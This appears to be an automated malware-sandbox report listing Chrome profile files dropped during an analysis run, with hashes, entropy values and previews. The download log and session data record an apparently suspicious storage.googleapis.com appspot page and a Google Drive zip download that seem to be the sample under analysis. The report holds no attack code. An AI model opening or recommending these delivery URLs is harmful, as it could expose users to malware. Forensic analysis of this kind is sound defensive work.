SHA-512:	0AF09F26941B11991C750D1A2B525C39A8970900E98CBA96FD1B55DBF93FEE79E18B8AAB258F48B4F7BDA40D059629BC7770D84371235CDB1352A4F17F80E145
Malicious:	false
Reputation:	low
Preview:	MANIFEST-000002.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\000003.log Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	14517
Entropy (8bit):	5.834906151810381
Encrypted:	false
SSDEEP:	384:6mBcDmBgmBfmBcDmBgmBw9P4L484FBLmBpmBMmBpmBEximBpmBExLmBpmBExhmBV:6NDh8NDh39P4L484FBLOlO9xiO9xLO9I
MD5:	13CD99A752B40B1739905DEF861C5887
SHA1:	3108C44A8C1F24276377E0D94037F01C1B2B66BD
SHA-256:	4594B882CBCCD54F9A9231D62663739F30624B108D523C26B3800B52218E7012
SHA-512:	E7244BD5ED120FE93D1C7CC22ACFA7B0D7C1DFD4C5CEC3061D23A117881D57DB692A09CC74F35F824AF02582DEA15FAC3EB97E64AB095888FCD44F33EE12F722
Malicious:	false
Reputation:	low
Preview:	..C.y...............-download,469adb90-a822-4a8b-b001-388266ce7646......$469adb90-a822-4a8b-b001-388266ce7646................"...vhttps://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721#.Phttps://drive.google.com/uc?export=download&id=1mXaX8y3AKJF9JH4xyHqQlJuOFdvdJ4AG...https://doc-0o-ac-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/a0ant5ufbkmnghngb1btrk334bg0j65u/1634589900000/10323111707164989971//1mXaX8y3AKJF9JH4xyHqQlJuOFdvdJ4AG?e=download.vhttps://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721#.."vhttps://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721#.0.B.J.P.+Z.application/zipb.application/zipj.........r.........x................................................,.6.g...............-download,469adb90-a822-4a8b-b001-388266ce7646......$469adb90-a822-4a8b-b001-388266c

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\0ec8aef7-23b2-4e78-91b3-3ff96291505c.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	low
Preview:	.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\0f47c639-c87a-4087-b999-c9efeeb42c64.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	modified
Size (bytes):	5806
Entropy (8bit):	5.181106802171541
Encrypted:	false
SSDEEP:	96:nQvrI3bl9/m3USKIEIk0JCKL8cM7WkKjrlbOTQVuwn:nQvry9SUSeC4Kp/kK1
MD5:	C71E98CD73499653EBA72282642F0D95
SHA1:	408ACF75BA73A807F875E581C301FC8356E7FCF6
SHA-256:	5DDEA07EA8774235CCF5BBE1A845BD55AC3F233FED238F90C8087B66198517BE
SHA-512:	4C729D19A05A383BA90A4E61A62D65A7E2AAB367B2F97BB04E1EF4CCC71A724D71FB60104FC991C015AD360B4753BACFC1FDEFF96EEA9F028D6F3BD090909F1A
Malicious:	false
Reputation:	low
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13279095940816130","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245950583260338","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser_infobar_last_declined":"13245950640095768","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1538886"],"daily_received_length":["0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\28e8df40-22d1-4bd2-9875-735869972e28.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	5210
Entropy (8bit):	4.977555338762222
Encrypted:	false
SSDEEP:	96:nQvrI3pl9pSKIEIk0JCKL8cM7WkKjrlbOTQVuwn:nQvrW9pSeC4Kp/kK1
MD5:	2821F433BC4787BF4F1BC5660C5B64A8
SHA1:	57244EDE7E12FCB1978B3ACF704966DF7D4106C6
SHA-256:	6BAB983D48651B7706788EC4956F31DFB3E90C73043A866B567A36E353F665C7
SHA-512:	F452B6C1017507823947FDE7E7F59472878FD18DBFF7C8BC857391F1768655ED3CA51153ECBE898C953BC53BB582D1F2F658A1470F521D18F2DB475714BD0196
Malicious:	false
Reputation:	low
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13279095940816130","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245950583260338","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser_infobar_last_declined":"13245950640095768","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1538886"],"daily_received_length":["0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\3e1e6ebc-9512-4d08-abc7-d428663504c0.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.871599185186076
Encrypted:	false
SSDEEP:	48:YXs2MHRzsoMHT5s0MHyKsTMHksrDys4Csb7synWsQItFsym6zs6zMHWLsZMH5YhV:+GDGTHGmGHDW1/nOIbmOGlGGhVD
MD5:	829D5654ADF098AD43036E24C47F2A94
SHA1:	506C8BA397509BA0357787950C538C1879047DF3
SHA-256:	4D0B852D18FCA5C1A712904CF6DB3811FB905E86D8A7508A2D42F9C8D68E2211
SHA-512:	D9B18E6B0AD1E8E4BECF9E84BBE30D64730CFEC2CBEAF96D5DF52E28B907B03EADF22F020FBE0A56D137A52F4F09798031BC6CA026CFA8A979A608B3445DBCAA
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[],"expiration":"13248542600883925","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":40156},"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248542628822803","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":30856},"server":"https://dns.google","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248542600893104","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":25300},"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248542600872791","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":34789},"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"exp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\77bfbc37-25b0-461e-8e87-f9ac27be798c.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	5119
Entropy (8bit):	4.970817210278942
Encrypted:	false
SSDEEP:	96:nQvrI3tl9pSKIEIk0JCKL8cM7WkKjrLbOTQVuwn:nQvrs9pSeC4Kp/kKn
MD5:	BE1F51E277DF40E89A8A432352AC5962
SHA1:	D328535B8E26A60994868DCA250691E84AC918CE
SHA-256:	5766712C4A35D9E9CC09EB4A160774CB33B7DC1758C17487E3D3113ACDF2D73F
SHA-512:	34D6A2CDD963BFD388D8D5827E272760D7B8FE726693E57A64C21FE6062BA432528A57B38EE614B18B75F02119DB9F8F858BA0D4ECF243420D90B404F64B6F94
Malicious:	false
Reputation:	low
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13279095940816130","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245950583260338","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser_infobar_last_declined":"13245950640095768","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1538886"],"daily_received_length":["0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\78f78af8-ccb6-43ac-8895-98ef4975b2d3.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	5119
Entropy (8bit):	4.970597915412144
Encrypted:	false
SSDEEP:	96:nQvrIRG9pSKIEIk0JCKL8cM7ak611XAbOTQVuwn:nQvrH9pSeC4Kpjk6y
MD5:	CAEAD8EB105C1A12C89DB80DFD74650D
SHA1:	84962581B6857C776ED16398F1B2AC48CE82A055
SHA-256:	628D81AD505F6D0FA06A47D8D858251CB0F3F296F55E89FA6E600F69F2A477D4
SHA-512:	597CC60091CD3D32543BF537FA34FCFB70D9A4858C95392D4DFFA5A8B1539FB7EA85D82B494AEB220E651438E725D69B77B1A85F97D58ABD4B1AC3162636A25E
Malicious:	false
Reputation:	low
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13279095940816130","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245950583260338","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser_infobar_last_declined":"13245950640095768","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1538886"],"daily_received_length":["0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\8e32e901-6ce3-4ae2-a670-854be15112b7.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	19182
Entropy (8bit):	5.570341779805881
Encrypted:	false
SSDEEP:	384:RZvteLlrYXV1kXqKf/pUZNCgVLH2HfDQrUsHG5sg42:cLl+V1kXqKf/pUZNCgVLH2HfsrUgGugt
MD5:	B7A3A3694111EF05B9F6F9A2EB2173E9
SHA1:	151CC9A04D54CF8CA097018B658D1B92E7B12D33
SHA-256:	BDE3B87CDF64C134F2C49BD226591596D8AFD2AEE42FE9D011815B8E9FD37969
SHA-512:	5B6F17ECB6DAD568FD9A1E5553F0735EA60BC8EE830EB0191D65F7964BC833E25C0FBA66A0147D4C10B909E228DAA7CF6E9A3A7086A931E049489C9A530898CE
Malicious:	false
Reputation:	low
Preview:	{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13279095940249257","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCtl3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVGijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.221220765225358
Encrypted:	false
SSDEEP:	6:mTnyq2P923iKKdK9RXXTZIFUtCnX9ZmwAnskwO923iKKdK9RXX5LJ:oyv45Kk7XT2FUtCN/As5L5Kk7XVJ
MD5:	9C757F37D8F5E01837E628C5E7E08F1A
SHA1:	EA397A82D54131EDA2E2F6BBACBA955EAD2AEA2E
SHA-256:	0377D73286CA2D8971516B3FF045760B451FE041BD0709D54858EF081736A999
SHA-512:	03C03C4BA9CB77F80EA60899E6DED7A5759F3571607F8D5E8E078FC7863E5BA03CF374DA3BE23C6E56C690AB8BBF46842F91E2818FD6B9B1C7DFF9FD8BC9F342
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:56.255 1bf4 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase/MANIFEST-000001.2021/10/18-22:45:56.257 1bf4 Recovering log #3.2021/10/18-22:45:56.258 1bf4 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase\LOG.oldl (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.221220765225358
Encrypted:	false
SSDEEP:	6:mTnyq2P923iKKdK9RXXTZIFUtCnX9ZmwAnskwO923iKKdK9RXX5LJ:oyv45Kk7XT2FUtCN/As5L5Kk7XVJ
MD5:	9C757F37D8F5E01837E628C5E7E08F1A
SHA1:	EA397A82D54131EDA2E2F6BBACBA955EAD2AEA2E
SHA-256:	0377D73286CA2D8971516B3FF045760B451FE041BD0709D54858EF081736A999
SHA-512:	03C03C4BA9CB77F80EA60899E6DED7A5759F3571607F8D5E8E078FC7863E5BA03CF374DA3BE23C6E56C690AB8BBF46842F91E2818FD6B9B1C7DFF9FD8BC9F342
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:56.255 1bf4 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase/MANIFEST-000001.2021/10/18-22:45:56.257 1bf4 Recovering log #3.2021/10/18-22:45:56.258 1bf4 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.215684967466746
Encrypted:	false
SSDEEP:	6:mTHq2P923iKKdKyDZIFUtCnGDRXZmwAnBPkwO923iKKdKyJLJ:oHv45Kk02FUtCGJ/AF5L5KkWJ
MD5:	E4FFA278A86328DFF99131938E84FFD7
SHA1:	16C15A195BBA9239A283F0F8E89DD5AF550551B0
SHA-256:	59574816A2584A25745FAEBDAA0C886C856E89205D60E7C6F04C301C1FC930E9
SHA-512:	9804600EDDFC152297FF43C9BC0651CE96CFA32A1B91CD59ECF3059B54982FA8B6F3867172DC1F51C72AAC83D31B788AB5112531B376A93F1313D95930057F60
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:56.249 1bf4 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase/MANIFEST-000001.2021/10/18-22:45:56.250 1bf4 Recovering log #3.2021/10/18-22:45:56.251 1bf4 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.215684967466746
Encrypted:	false
SSDEEP:	6:mTHq2P923iKKdKyDZIFUtCnGDRXZmwAnBPkwO923iKKdKyJLJ:oHv45Kk02FUtCGJ/AF5L5KkWJ
MD5:	E4FFA278A86328DFF99131938E84FFD7
SHA1:	16C15A195BBA9239A283F0F8E89DD5AF550551B0
SHA-256:	59574816A2584A25745FAEBDAA0C886C856E89205D60E7C6F04C301C1FC930E9
SHA-512:	9804600EDDFC152297FF43C9BC0651CE96CFA32A1B91CD59ECF3059B54982FA8B6F3867172DC1F51C72AAC83D31B788AB5112531B376A93F1313D95930057F60
Malicious:	false
Reputation:	low
Preview:	2021/10/18-22:45:56.249 1bf4 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase/MANIFEST-000001.2021/10/18-22:45:56.250 1bf4 Recovering log #3.2021/10/18-22:45:56.251 1bf4 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CURRENT (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	low
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CURRENTMP (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Xv:1qIF/
MD5:	206702161F94C5CD39FADD03F4014D98
SHA1:	BD8BFC144FB5326D21BD1531523D9FB50E1B600A
SHA-256:	1005A525006F148C86EFCBFB36C6EAC091B311532448010F70F7DE9A68007167
SHA-512:	0AF09F26941B11991C750D1A2B525C39A8970900E98CBA96FD1B55DBF93FEE79E18B8AAB258F48B4F7BDA40D059629BC7770D84371235CDB1352A4F17F80E145
Malicious:	false
Reputation:	low
Preview:	MANIFEST-000002.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache\data_0 Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	0.10556711471695857
Encrypted:	false
SSDEEP:	12:dO0kzMca1ElYd9Yk4ooxlAI/wyGKX3FzvJbCdqOvpkE:dmNUjdKzoUf/ttvtCdq4P
MD5:	5ABE2904B41C21646108AA81DFD25674
SHA1:	368DEBCDC5499D3B8E1D202D0E90B2710508BB5F
SHA-256:	A3AE4EF6A842534C629F0043C0992C7F4750BEDA05EA39B06337761339914B11
SHA-512:	D4FFC99CED5B52C812AF11C0E20D172AD1675F3DDE6EF30D9F2D0EE1A5D37094B7E4B9857270EA7DEB5962D701B63AA915A24E3D5907AC67A49D0D6DC0E24658
Malicious:	false
Reputation:	low
Preview:	............$....................................................................>......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache\data_1 Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.10844342170108016
Encrypted:	false
SSDEEP:	96:Q5MDuqugeft5xLOV9TS0kbhBZKhIj2hI:KmB4ftnLOV9xAZB
MD5:	16879F8D30628A8A31041606F0DAC6A8
SHA1:	BE548CAD75C0E32DA119C30B9D643997DE20D950
SHA-256:	79D2254E5C47B1ACD8599A8599B83B9A14C27A693065565D8ECCE27CCFF90FB4
SHA-512:	D704D79CB912C1B06384E97C20B13E81D7F8DD0F3077F11379BCABE0C82033A4AD16D1C1E23F16311FBAF23F8886483C400AC9B43A7229CF597CB9A95C3C2378
Malicious:	false
Reputation:	low
Preview:	.................................................................................??.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache\data_2 Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	1056768
Entropy (8bit):	0.3834406994256576
Encrypted:	false
SSDEEP:	768:sg74HJtGOgrJtOhXJtS7uQJtrTCR5Jt/JtR:Vgh7
MD5:	A954BD2B4A80865731ACA43B0B3D8F03
SHA1:	71630E2CF81D3F9F01F967F072D77627D3FA0C3E
SHA-256:	3F973B2D72CFBE955084B162CE7AFBDDCB8C2F8ACA540000B36DBCD290238C8B
SHA-512:	969E0E81F3799F174E1865B155C481CA660E5586297497AB41CFED8865E04809D9F7DB6EEA13E2B1650CF0A6FA0088221EA23CEB07DD06BDE5D690A7766C2E09
Malicious:	false
Reputation:	low
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache\data_3 Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	4202496
Entropy (8bit):	0.24357997005140203
Encrypted:	false
SSDEEP:	1536:MeY5PKutXvsYrZruXKvsYjpuGi2vsYjZ:MV5btX8XKn0Gi2n
MD5:	1CDB124F0CF8C8EAE5132B92F1B32F3A
SHA1:	5915D0A9FFBB7C62B356BF092B551A790863AEDC
SHA-256:	4B3D801A13D53EB34068977D6398667CC07BEF871F85915A2BCFA1CB8693C5B9
SHA-512:	2F811420CBB7778B7E3008E1FCF8C37BD4A9CD41B19DF64B1901E5580BA2B44DE53333D406091B792A175076A7173F657E71182801EFFEA007FFD7593506E5BF
Malicious:	false
Reputation:	low
Preview:	..................................................................................w.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8972749709445418
Encrypted:	false
SSDEEP:	48:TekLLOpEO5J/Kn7U1uBhjiIEWmYeQSOldU3IE:dNw4hPEWmryE
MD5:	2064497219DB69DEFF6ADCEA90277720
SHA1:	E3C60E4F006EE54377B7904C88FF0E07B643C1A6
SHA-256:	95168DB9C948BB85E08841DC02C601903260DCB1FA878820FED0881A11983757
SHA-512:	A334E3486609051D0DDCCCC95D269A783C94361B460DC25B08FAE37C8F6419C5AE784E8AED5D4EB01B864FA3B07959E1D06E2C854BFB415C38133FA998F939BB
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................C....... ..g... .8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Current Session Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	1590
Entropy (8bit):	3.7514906879305605
Encrypted:	false
SSDEEP:	48:348xec0knMDuRQaphYHKoYKMDuRQYsGatRL:34TeMDuqaPQdYKMDuqzGaz
MD5:	8E42112DF533E49E7DB513B30A691137
SHA1:	E2638B5178293002BD0026C12A7F269C5D054C1F
SHA-256:	72CD695C2BF57C576889D58EA4B0B477CE56B29A915C367536943ABCF855D090
SHA-512:	D2C67AA10456F8E615B09ECCF3A4D65390FA088D0FB5F0D69BA422D650DED7413C4668AAD11430F7AB4FE392B877559EE6E0FF1415B78F22752253B1E47EB59B
Malicious:	false
Reputation:	low
Preview:	SNSS....................................................!.............................................1..,.......$...d26abd76_9e1b_461f_b86d_e327d2d7d4a1..........................................................................................................5..0.......&...{2F4F8386-A58B-4B0C-A17B-2FAAF764E551}............................v...https://storage.googleapis.com/m4b38h10cm38.appspot.com/d/file/0/public/a/3fdjn39fduh3nfdfn.html?l=048464344988443721#......<...8.......0...................................h.......`...............X...............`...............X.........%,......%,................................................v...h.t.t.p.s.:././.s.t.o.r.a.g.e...g.o.o.g.l.e.a.p.i.s...c.o.m./.m.4.b.3.8.h.1.0.c.m.3.8...a.p.p.s.p.o.t...c.o.m./.d./.f.i.l.e./.0./.p.u.b.l.i.c./.a./.3.f.d.j.n.3.9.f.d.u.h.3.n.f.d.f.n...h.t.m.l.?.l.=.0.4.8.4.6.4.3.4.4.9.8.8.4.4.3.7.2.1.#.....................................8.......0.......8...................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Current Tabs Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	8
Entropy (8bit):	1.8112781244591325
Encrypted:	false
SSDEEP:	3:3Dtn:3h
MD5:	0686D6159557E1162D04C44240103333
SHA1:	053E9DB58E20A67D1E158E407094359BF61D0639
SHA-256:	3303D5EED881951B0BB52CF1C6BFA758770034D0120C197F9F7A3520B92A86FB
SHA-512:	884C0D3594390E2FC0AEAB05460F0783815170C4B57DB749B8AD9CD10741A5604B7A0F979465C4171AD9C14ED56359A4508B4DE58E794550599AAA261120976C
Malicious:	false
Reputation:	low
Preview:	SNSS....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\000003.log Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	335
Entropy (8bit):	3.5297306448944714
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCT5z/t2qoEwhXeLKB:qWWWWWWWWWbopXeLKB
MD5:	4B02663C177BA8EA36FB2E49617CCC05
SHA1:	6E77145135116873842B1BEE6622B116CDA3CBB1
SHA-256:	0FD0B4ED1B18A8A1C73736E3C74168C6102092E5AFD431CD36F7F222E578A1C9
SHA-512:	6FAE4934BB9F78B40ECE19DC10FD522EB88497B97F47B76AC4DBC28146F73D23984322AFBF32DDBC3AC219277A7A6F899FAE59E5834DC2E28377A6306D9D6F03
Malicious:	false
Reputation:	low
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................i.Wd...............Sgdaefkejpgkiemlaofpalmlakkmbjdnl.declarative_rules.declarativeContent.onPageChanged.[]..F..................F................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.1805020898560015
Encrypted:	false
SSDEEP:	6:mTVFIq2P923iKKdK8aPrqIFUtCAZmwAokwO923iKKdK8amLJ:okv45KkL3FUtCA/Ao5L5KkQJ
MD5:	B7DFF7757429D3B62F79A9B6C584D1A1
SHA1:	A35417A63AD76A7DC072139AF358D9A996A00EDC
SHA-256:	8812D4594DF9A32007FA26BCB626CDB5E26F9C00D85777D0056B22B0F0775D3F
SHA-512:	90695DD404DE23046C3B21183227C13CC7A7A6D7C058A1FAFDC6688CE145E01A0C73DA605FCE39810E660E8987CE486E1F65A2DFBB9123FDB29ECB732B217A10
Malicious:	false
Reputation:	low
